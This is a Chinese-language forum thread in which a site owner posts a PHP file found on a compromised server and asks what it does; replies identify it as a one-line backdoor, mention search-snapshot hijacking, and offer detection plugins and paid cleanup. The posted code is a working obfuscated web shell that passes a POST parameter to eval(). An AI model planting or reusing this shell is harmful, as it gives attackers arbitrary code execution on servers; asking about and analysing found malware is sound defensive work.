服務(wù)器被掛馬，掃出來一堆這樣內(nèi)容的文件

paladinet

1. <?php
   
2. function &a()
   
3. {
   
4.          static $b=0;
   
5.          return $b;
   
6. }
   
7. $aa=500;
   
8. $aa=&a();
   
9. $aa="".@$_POST["abituz279"];
   
10. eval(a());
    
11. ?>

復(fù)制代碼

服務(wù)器上有文件是這樣的內(nèi)容，高手指點(diǎn)下壞人想做什么？

我知道答案 回答被采納將會(huì)獲得1 貢獻(xiàn) 已有5人回答

鴻茂傳媒

服務(wù)器已經(jīng)被入侵了，加強(qiáng)防御，一般被黑，大部分都是劫持百度快照居多。

paladinet

劫持百度快照，我如何才能檢測(cè)到？然后我再如何操作呢？望高人指點(diǎn)！

paladinet

鴻茂傳媒 發(fā)表于 2020-3-12 19:32
服務(wù)器已經(jīng)被入侵了，加強(qiáng)防御，一般被黑，大部分都是劫持百度快照居多。 ...

望高人指點(diǎn)！

耗子

  可以聯(lián)系我的QQ交談 專業(yè)清理discuz 木馬

1314學(xué)習(xí)網(wǎng)

一句話后門，可以執(zhí)行任意php代碼

免費(fèi)的 Discuz劫持檢測(cè)插件：http://addon.discuz.com/?@freeaddon_snapshot.plugin

可以有償排查清理加固服務(wù)器